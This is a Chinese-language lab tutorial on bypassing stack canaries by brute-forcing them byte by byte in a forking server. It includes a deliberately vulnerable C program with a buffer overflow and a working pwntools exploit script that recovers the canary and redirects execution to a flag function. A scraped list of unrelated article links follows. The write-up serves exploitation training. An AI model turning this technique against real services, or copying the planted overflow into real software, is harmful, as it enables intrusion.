1.1.1    通过fork进程爆破canary

⑴.原理分析:

对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。

⑵.环境准备:

i.存在格式化字符串漏洞的程序:

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/wait.h>

void getflag(void) {

char flag[100];

FILE *fp = fopen("./flag", "r");

if (fp == NULL) {

puts("get flag error");

exit(0);

}

fgets(flag, 100, fp);

puts(flag);

}

void init() {

setbuf(stdin, NULL);

setbuf(stdout, NULL);

setbuf(stderr, NULL);

}

void fun(void) {

char buffer[100];

read(STDIN_FILENO, buffer, 120);

}

int main(void) {

init();

pid_t pid;

while(1) {

pid = fork();

if(pid < 0) {

puts("fork error");

exit(0);

}

else if(pid == 0) {

puts("welcome");

fun();

puts("recv sucess");

}

else {

wait(0);

}

}

}

ii.测试环境:

测试平台linux debian 7

攻击脚本编写模块:pwntools。

辅助调试插件:gdb-peda

iii. 编译命令:

gcc -m32 -q -z execstack -fstack-protector-all -o fork_canary fork_canary.c

⑶.调试分析:

i. 查看保护机制:

可以看到只开启了canary保护机制。

ii.找到存在缓冲区溢出漏洞的函数的canary值地址:

Canary位于:[ebp-0xc]=0xffffd28c。

iii. 找到缓冲区起始地址:

缓冲区起始地址:0xffffd228。

iv.确定返回地址:

Ret address = 0xffffd29c

⑷.攻击过程:

i.攻击思路:因为canary的值的第一个字节总是0x00,所以只需要爆破剩下的三个字节就可以了,每次尝试一个字节,如果程序顺利执行得到结果“welcome\n”,否则程序崩溃,通过穷举就能爆破处正确的canary值。

ii.得到getflag函数的地址:

iii.计算缓冲区大小:

由上面的调试分析可知:

缓冲区大小等于缓冲区结束的地址0xffffd28c - 0xffffd228 = 100(字节)。

iv.编写攻击脚本:

from pwn import *

context.log_level = 'debug'

cn = process('./fork_canary')

cn.recvuntil('welcome\n')

canary = '\x00'

for j in range(3):

for i in range(0x100):

cn.send('a'*100 + canary + chr(i))

a = cn.recvuntil('welcome\n')

if 'recv' in a:

canary += chr(i)

break

cn.sendline('a'*100 + canary + 'a'*12 + p32(0x5655573d))

flag = cn.recv()

cn.close()

log.success('flag is:' + flag)

运行攻击脚本:

成功爆破。

转载于:https://www.cnblogs.com/zhang293/p/9116692.html

通过fork进程爆破canary相关推荐

  1. php linux fork进程 多个进程/线程共享一个 socket连接 出现多个进程响应串联

    简单说来就是:因为fork,父子进程共享了一个redis连接.然后父子进程在发送了各自的redis请求分别获取到了对方的响应体. 复现示例代码: testFork.php <?php requi ...

  2. linux下创建多进程,linux之多进程fork:进程创建

    linux下实现多线程有两种函数调用:一种是通过pthread.h里面已经封装好的函数调用,另一种是通过unistd.h里面的fork函数调用.前面已经已经列举了pthread的使用,下面来书fork ...

  3. c++ fork 进程时 共享内存_因为没答好进程间通信,面试挂了...

    前言 开场小故事 炎炎夏日,张三骑着单车去面试花了 1 小时,一路上汗流浃背. 结果面试过程只花了 5 分钟就结束了,面完的时候,天还是依然是亮的,还得在烈日下奔波 1 小时回去. 面试五分钟,骑车两 ...

  4. c++ fork 进程时 共享内存_linux共享内存mmap

    Linux进程间通信-共享内存mmap 采用共享内存通信的一个显而易见的好处是效率高,因为进程可以直接读写内存,而不需要任何数据的拷贝.对于像管道和消息队列等通信方式,则需要在内核和用户空间进行四次的 ...

  5. c++ fork 进程时 共享内存_尚学堂百战程序员:Python多进程与共享内存

    多进程使用 linux下可使用 fork 函数 #!/bin/env python import os print 'Process (%s) start...' % os.getpid() pid ...

  6. 操作系统fork()进程

    1.fork()是创建进程函数. 2.c程序一开始,就会产生 一个进程,当这个进程执行到fork()的时候,会创建一个子进程. 3.此时父进程和子进程是共存的,它们俩会一起向下执行c程序的代码. 4. ...

  7. 关于 Linux fork()进程创建函数 的 执行方式 返回值 lockf锁和并发 控制创建顺序 的探索

    文章目录 BEGIN Demo 1 - 了解fork执行方式 code & result comprehension Demo 2 - fork的返回值研究 code & result ...

  8. 阿里校招——fork进程问题

    不算main这个进程自身,到底创建了多少个进程啊? int main(int argc, char* argv[]) {fork();fork() && fork() || fork( ...

  9. Unix/Linux编程:fork()进程详解

    文章目录 理论 进程 fork,wait,exec fork 实践 验证 `fork函数被调用一次但返回两次` 子进程和父进程之间不共享数据空间 父子进程间的文件共享 fork的内存语义 同步信号以规 ...

最新文章

  1. 部署docker-consul群集,Harbor构建Docker私有仓库
  2. mongo执行逻辑表达式_MongoDB 常用查询操作
  3. [C++11]共享智能指针shared_ptr指定删除器
  4. 面向切面编程应用_应用面向方面的编程
  5. [渝粤教育] 中国地质大学 信息管理概论 复习题
  6. 布丰投针试验的仿真和误差估计
  7. xtrabackup 备份
  8. 计算机科学现代教育,现代教育技术教程-计算机科学教育.pdf
  9. 选择永远比努力更重要!
  10. python 统计计数
  11. Even-Odd Increments
  12. 火狐浏览器的安装及配置
  13. 感染 <SCRIPT Language=VBScript> DropFileName = “svchost.exe” Ramnit 蠕虫病毒 HTML清除工具
  14. “丧偶式”恋爱?博士男友每晚12点才回家,要分手吗......
  15. Rootkit的技术发展史
  16. htc e9pw android 6.0,HTC One E9+(E9pw 联通4G)一键ROOT教程,简单ROOT
  17. java编程之数字魔方(N阶数字魔方和数字旋转魔方)
  18. TypeScript-unknown类型
  19. vue路由嵌套无法渲染 页面空白
  20. wpf教程-环境搭建

热门文章

  1. Ubuntu 开发者展示在 Ubuntu 20.04 上流畅运行 Microsoft Office 应用
  2. Visual Studio 2019 16.3 Preview 3 发布,使用 IntelliCode 重构更容易
  3. Angular.js示例应用程序
  4. 单片机并口应用实验c语言,1单片机并口简单应用(流水灯).docx
  5. kettle清洗mysql数据_ETL工具Kettle使用以及与Java整合实现数据清洗
  6. 如何用python中的turtle库画三角形_Python如何使用turtle库绘制图形
  7. 营销管理手册_麦肯锡内部培训手册,揭秘高效能团队打造的秘密,附6个案例...
  8. 框架 go_GoFrame v1.13.1 发布,Go 应用开发框架
  9. python单选题库答案_大学慕课2020用Python玩转数据题库及答案
  10. java 命名参数动态替换_使用Kettle的命名参数动态执行作业